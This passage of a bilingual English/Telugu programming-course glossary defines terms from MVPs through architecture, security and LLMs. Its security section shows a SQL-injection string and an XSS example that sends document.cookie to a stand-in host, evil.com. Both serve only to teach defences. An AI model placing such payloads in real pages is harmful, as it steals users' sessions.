An MVP is the smallest version of a product that delivers real value — built to test the idea with real users before investing months in polish. The discipline is cutting every feature that isn't essential to the core loop. **Example:** Airbnb's MVP was one apartment with photos and a payment link, not a global platform. Your FocusTrack capstone should launch as an MVP: track focus sessions, show a chart — nothing else — then iterate.

Telugu: MVP ante nijamaina value icche **atyanta chinna version** — polish ki mundu idea ni real users tho test cheyyadaniki. Airbnb MVP: okka apartment photo + payment link. FocusTrack ni MVP ga launch cheyyi.

Technical Debt & Refactoring

Technical debt is the future cost of shortcuts taken today — quick hacks that make the next change slower, accumulating "interest" until development crawls. **Refactoring** is paying it down: improving code's internal structure *without changing its behaviour* — safe only when tests exist to prove nothing broke. **Example:** copy-pasting the same validation into five files ships today's feature fast (debt); next month, extracting it into one shared function all five call is the refactor.

Telugu: Tech debt ante ivvala teesukunna shortcut **repati kharchu** — vaddi perigipotundi. Refactoring ante behaviour maarchakunda structure baagucheyyadam — tests unte ne adi safe.

Part F — Architecture & Scale

Monolith vs Microservices

A **monolith** is one application containing everything — one codebase, one deploy, one process. **Microservices** split the system into small independent services (auth, orders, payments), each with its own code, database, and deployment, talking over APIs. Monoliths are simpler and faster to build; microservices let 50 teams scale and deploy independently — at the price of enormous operational complexity. **Example:** your capstone is (correctly) a monolith; Amazon runs thousands of microservices. The honest rule: start monolith, split only when team size forces it.

Telugu: **Monolith** = antha okate app, okate deploy — simple, start ki correct. **Microservices** = auth/orders/payments veru veru services — 50 teams ki scale, kaani operations chala kastam. Rule: monolith tho modalupettu.

Scaling — Vertical vs Horizontal

Vertical scaling ("scale up"): buy a bigger machine — simple, but hits a ceiling and one crash kills everything. **Horizontal scaling** ("scale out"): add more machines behind a load balancer — no ceiling, survives failures, but demands stateless design so any server can handle any request. **Example:** upgrading EC2 from 8GB to 32GB RAM is vertical; running 6 copies of your API behind a balancer is horizontal — and is why JWTs (stateless auth) beat in-memory sessions at scale.

Telugu: **Vertical** = pedda machine konu (ceiling undi). **Horizontal** = load balancer venaka inka machines veyyi (ceiling ledu, failures survive) — kaani stateless design kaavali, anduke JWT.

Latency vs Throughput

Latency is how long *one* operation takes (milliseconds); **throughput** is how many operations complete *per second*. They're independent — a system can be high-throughput and high-latency (a batch pipeline) or low-latency and low-throughput. Users feel latency; capacity planning feels throughput. **Example:** a video call needs low latency (each packet must arrive fast); a nightly report job needs throughput (process 10M rows, nobody's watching). Interview phrasing: "we cut p95 latency from 800ms to 120ms."

Telugu: **Latency** = okka operation ki time (ms); **throughput** = second ki enni operations. Video call ki latency, nightly batch ki throughput. Users feel ayyedi latency.

Availability & the Nines

Availability is the fraction of time a system is up and answering, quoted in "nines": 99.9% ("three nines") allows ~8.7 hours of downtime a year; 99.999% allows ~5 minutes. Each extra nine costs roughly 10× the engineering effort. **Example:** cloud providers publish SLAs (service-level agreements) like "99.99% for S3"; when a payment gateway is down for an hour, that year's fourth nine is already gone.

Telugu: Availability ante system entha time up undo — '**nines**' lo: 99.9% = samvatsaraniki ~8.7 gantalu down; prathi extra nine ~10 rettu engineering effort.

Redundancy & Fault Tolerance

Redundancy is having spares — extra servers, database replicas, second data centres — so no single failure is fatal ("no single point of failure"). Fault tolerance is the system's ability to *keep working* through failures by failing over to those spares automatically. **Example:** your database has a replica in another zone; the primary dies at 2 a.m., the replica is promoted in 30 seconds, and users never notice. RAID, load-balanced servers, and multi-region deployments are all redundancy.

Telugu: Redundancy ante **spares** — extra servers, DB replicas, second data centre; 'no single point of failure'. Fault tolerance ante failure appudu automatic ga spare ki maari aagakunda continue avvadam.

Serverless

Serverless means you deploy individual *functions*, not servers — the cloud runs your code only when triggered, scales it automatically from zero to thousands, and bills per invocation. (Servers still exist; you just never manage them.) Best for spiky or occasional workloads; awkward for long-running or stateful ones. **Example:** an AWS Lambda that resizes images whenever one lands in S3 — it costs nothing at night, and handles a viral spike without you touching anything.

Telugu: Serverless ante servers kaadu, **functions** deploy chestav — trigger ayinappude run, automatic scale, invocation ki bill. Ratri antha zero cost; viral spike ni kuda adi chusukuntundi.

Message Queue

A message queue sits between services: producers drop messages in, consumers process them at their own pace — decoupling "accepting work" from "doing work" and absorbing traffic spikes. (It's the Queue data structure from Phase 3, deployed as infrastructure.) **Example:** clicking "order" instantly returns success while the actual invoice-generation, email, and inventory updates flow through RabbitMQ/Kafka behind the scenes; if the email service is down for an hour, the messages simply wait.

Telugu: Message queue ante services madhya **line** — producers vestaru, consumers own pace lo teestaru. Order click ventane success; email/invoice venaka queue lo. Phase 3 Queue structure, infrastructure roopam lo.

Event-Driven Architecture

In an event-driven system, services don't command each other — they announce facts ("OrderPlaced") onto an event stream, and any interested service reacts. New features subscribe to existing events without touching the original code. **Example:** when **OrderPlaced** fires, the email service sends a receipt, analytics logs it, and inventory decrements — three teams, zero coordination. SAP's Event Mesh and Kafka are the enterprise version; your n8n automations in Phase 12 are the same idea in miniature.

Telugu: Event-driven ante services okarini okaru order cheyyakunda '**OrderPlaced**' ani prakatistayi — evariki kaavalo vaallu react avutaru. Kotta feature = kotta subscriber; paatha code muttakkarledu.

Part G — Security

Encryption

Encryption scrambles data with a key so only key-holders can read it — protecting data *in transit* (TLS on every HTTPS request) and *at rest* (encrypted disks and databases). It's reversible by design: the right key decrypts.

Example: WhatsApp's end-to-end encryption means even WhatsApp's own servers see only ciphertext; your Phase 3 TLS handshake is encryption negotiated live between browser and server.

Telugu: Encryption ante key tho data **scramble** — key unnavale chadavagalaru; design reethya reversible. Transit lo (TLS) mariyu rest lo (encrypted disks) rendinta vaadutaru.

Hashing

Hashing runs data through a one-way function producing a fixed-size fingerprint — same input, same hash, but no way back. This is how passwords are stored: the site keeps only the hash, and at login hashes what you typed and compares. Never confuse it with encryption (reversible) — and never store passwords encrypted, only hashed. **Example:** `bcrypt("hunter2")` → `$2b$10$N9qo8uL0...`; a hacker stealing the database gets fingerprints, not passwords. "Data breach — passwords were hashed" is why sites still force a reset: weak passwords can be guessed-and-hashed.

Telugu: Hashing ante **one-way fingerprint** — venakki raadu. Passwords ila dachutaru: site hash matrame unchukuni, login lo nuvvu type chesindi hash chesi compare. Encryption (reversible) tho confuse avvaku.

TLS Certificate

A certificate is a file proving "this public key belongs to this domain," digitally signed by a Certificate Authority your device already trusts — the padlock in your address bar is your browser verifying that chain. Certificates expire and must be renewed. **Example:** Let's Encrypt issues free 90-day certificates that auto-renew; "the cert expired" is the classic 2 a.m. outage where a working site suddenly shows browser warnings.

Telugu: Certificate ante 'ee public key ee domain di' ani CA sign chesina file — padlock ante browser aa chain verify chesindi. Expire avutayi — 'cert expired' ante classic ratri 2 outage.

Secrets & API Keys

A secret is any credential your app needs but no human should see: database passwords, JWT signing keys, API keys (the tokens that identify your app to services like OpenAI or AWS). The iron rule: secrets live in environment variables or vaults, never in code, never in Git. **Example:** a bot finds an AWS key pushed to public GitHub within *minutes* and mines crypto on your bill — real people have woken up to ₹40-lakh invoices. `.gitignore` your `.env`, always.

Telugu: Secrets ante DB passwords, JWT keys, API keys — code lo kaadu, **Git lo aslu kaadu**, env variables lo matrame. Public GitHub lo AWS key veste bots nimishallo pattukuni nee bill meeda crypto mine chestayi.

2FA / MFA (Multi-Factor Authentication)

MFA requires a second proof of identity beyond the password — something you *have* (phone, hardware key) or *are* (fingerprint) — so a stolen password alone isn't enough. **Example:** GitHub requires 2FA for all contributors: password + a 6-digit code from an authenticator app. Enable it everywhere that matters: email first (it can reset everything else), then GitHub, AWS, banking.

Telugu: MFA ante password ke **inkoka proof** — phone code, fingerprint. Password dongilinchina saripodu. Mundu email ki pettuko (adi migathavi anni reset cheyagaladu), taruvata GitHub, AWS.

Firewall & VPN

A **firewall** filters network traffic by rules — which ports and sources are allowed in or out; everything else is dropped. A **VPN** creates an encrypted tunnel into a private network, letting you appear *inside* it from anywhere. **Example:** your EC2 server's security group (a firewall) allows only ports 443 and 22; the company database accepts connections only from the office VPN, so remote employees must tunnel in first.

Telugu: **Firewall** ante rules tho traffic filter — ee ports/sources matrame, migathavi drop. **VPN** ante private network loki encrypted tunnel — bayata unna kuda lopala unnattu.

SQL Injection

SQL injection is attacker input that breaks out of its slot and becomes SQL code — historically the #1 web vulnerability. It happens when you build queries by gluing strings; the cure is *parameterised queries*, where the database treats input strictly as data. **Example:** a login form receives `' OR '1'='1` — naively glued, the query becomes `WHERE password = '' OR '1'='1'` (always true → logged in as admin). The legendary xkcd student "Robert"); DROP TABLE Students;--" is this joke.

Telugu: SQL injection ante user input **SQL code ga maaripovadam** — strings glue chesthe `' OR '1'='1` tho login aipovachu. Cure: parameterised queries — input ni data ga ne treat chestayi.

XSS (Cross-Site Scripting)

XSS is injecting JavaScript into a page other users will view — the attacker's script then runs in *their* browsers with *their* cookies and session. It happens when apps insert user content into HTML without escaping (the `innerHTML` warning from Phase 3). **Example:** a comment containing `<script>fetch('evil.com?c='+document.cookie)</script>` posted on a careless forum silently steals every reader's session. React escapes output by default — one big reason frameworks improved web security.

Telugu: XSS ante vere users chuse page lo **JS inject** cheyyadam — vaari browser lo vaari cookies tho nee script run avutundi. `innerHTML` + user input = danger; React default ga escape chestundi.

DDoS (Distributed Denial of Service)

A DDoS attack floods a service with junk traffic from thousands of hijacked machines (a *botnet*) until real users can't get through — not a break-in, a stampede blocking the door. Defence is absorption and filtering at scale: CDNs and services like Cloudflare. **Example:** attacks exceeding 100 million requests/second have been absorbed by Cloudflare; for a small site, even a modest flood means downtime unless a CDN stands in front.

Telugu: DDoS ante velakoladi hijacked machines tho **junk traffic flood** — break-in kaadu, gummam mundu stampede. Defence: CDN/Cloudflare scale lo absorb chesi filter cheyyadam.

Part H — The AI Era

AI · ML · LLM

AI is the broad goal (machines doing tasks that need intelligence); **Machine Learning** is the dominant method (learning patterns from examples instead of hand-coded rules); an **LLM** (Large Language Model) is an ML model trained on massive text to predict the next token — which turns out to produce fluent language, reasoning, and code. **Example:** spam filters are ML; ChatGPT, Claude, and Gemini are LLMs. Your Phase 1 notes cover this stack in depth — the one-line recall: *an LLM is a very powerful autocomplete steered by your prompt.*

Telugu: AI = pedda goal; ML = examples nunchi patterns nerchukune method; LLM = next token predict chese text model — ChatGPT, Claude. Okka line: LLM ante nee prompt steer chese super autocomplete.

Prompt & Prompt Engineering

The prompt is everything you send an LLM — instructions, context, examples, data. Prompt engineering is writing it deliberately (role, context, task, format, constraints) because the prompt is the steering wheel: same model, radically different output. **Example:** "fix my code" vs "You are a senior Node developer; find the bug in this function, explain it in two lines, return the corrected code only" — Phase 1's entire discipline in one contrast.

Telugu: Prompt ante LLM ki pampe antha — instructions, context, examples. Prompt engineering = daanini **deliberate ga** raayadam (role, context, task, format, constraints). Same model, veru prompt, veru output.

Token & Context Window

LLMs read and write in **tokens** — word-pieces of ~4 characters; you're billed per token. The **context window** is the model's working memory: the maximum tokens (prompt + conversation + response) it can consider at once — anything beyond it is invisible. **Example:** a 200K-token context fits a whole codebase file-set; paste more and the earliest parts fall out — why long chats "forget" their beginning, and why RAG (below) exists.

Telugu: LLM lu **tokens** lo chaduvutayi (~4 characters); billing kuda tokens lo. **Context window** = model working memory — daatithe modati bhagam kanipiyadu; long chats 'marchipovadaniki' kaaranam ide.

AI Agent

An agent is an LLM given tools and a loop: it reasons about a goal, *calls a tool* (search, run code, edit a file), observes the result, and repeats until done — acting, not just answering. This ReAct loop turns a text-predictor into a worker. **Example:** Claude Code is an agent: told "fix the failing test," it reads files, edits code, runs the tests, sees the output, and iterates. Phase 12 (n8n + agentic capstones) is you building these.

Telugu: Agent ante **tools + loop** unna LLM — goal gurinchi alochinchi, tool call chesi, result chusi, malli — pani ayyedaka. Claude Code idi: files chadivi, code maarchi, tests run chesi iterate avutundi.

RAG (Retrieval-Augmented Generation)

RAG bolts a search step onto an LLM: before answering, the system retrieves relevant documents from *your* data and pastes them into the prompt, so the model answers from facts instead of memory — fixing hallucination and staleness without retraining. **Example:** "chat with your company's HR policies": the question fetches the three

most relevant policy paragraphs, and the model answers *only* from them, citing sources. Your Capstone D and SAP's Joule both run on this pattern.

Telugu: RAG ante answer ki mundu **nee data lo search** chesi, relevant paragraphs prompt lo petti samadhanam cheppinchadam — hallucination fix, retraining lekunda. Capstone D, SAP Joule rendu idi.

Vector Database

A vector database stores *embeddings* — lists of numbers capturing a text's meaning — and finds entries by semantic similarity rather than keywords: "notice period" matches "resignation rules" because their vectors sit close together. It's the retrieval engine under RAG. **Example:** Pinecone, Chroma, and pgvector store your documents as vectors; a query is embedded too, and the nearest neighbours come back — Phase 3's "choose the right data structure" lesson, evolved for meaning-search.

Telugu: Vector DB ante meanings ni numbers (**embeddings**) ga dachi similarity tho vetikedi — 'notice period' ki 'resignation rules' match avutundi. RAG kinda unna search engine: Pinecone, Chroma, pgvector.

Fine-Tuning

Fine-tuning continues training an existing LLM on your own examples, baking a behaviour or style into the weights themselves — versus prompting (instructions per-call) and RAG (knowledge per-call). It's the heavyweight option: costly, and frozen at training time. **Example:** a support bot fine-tuned on 50,000 of your past tickets learns your tone and formats natively. Practical order: try prompting first, add RAG for knowledge, fine-tune only when both fall short.

Telugu: Fine-tuning ante existing LLM ni **nee examples meeda inka train** cheyyadam — behaviour weights lone digipotundi. Costly. Order: mundu prompting, taruvata RAG, chivaraga fine-tune.

That's the vocabulary. None of these words are magic — each one is a plain idea you now recognise. When you meet one in a job post or a meeting, come back, reread its paragraph, and move on unafraid.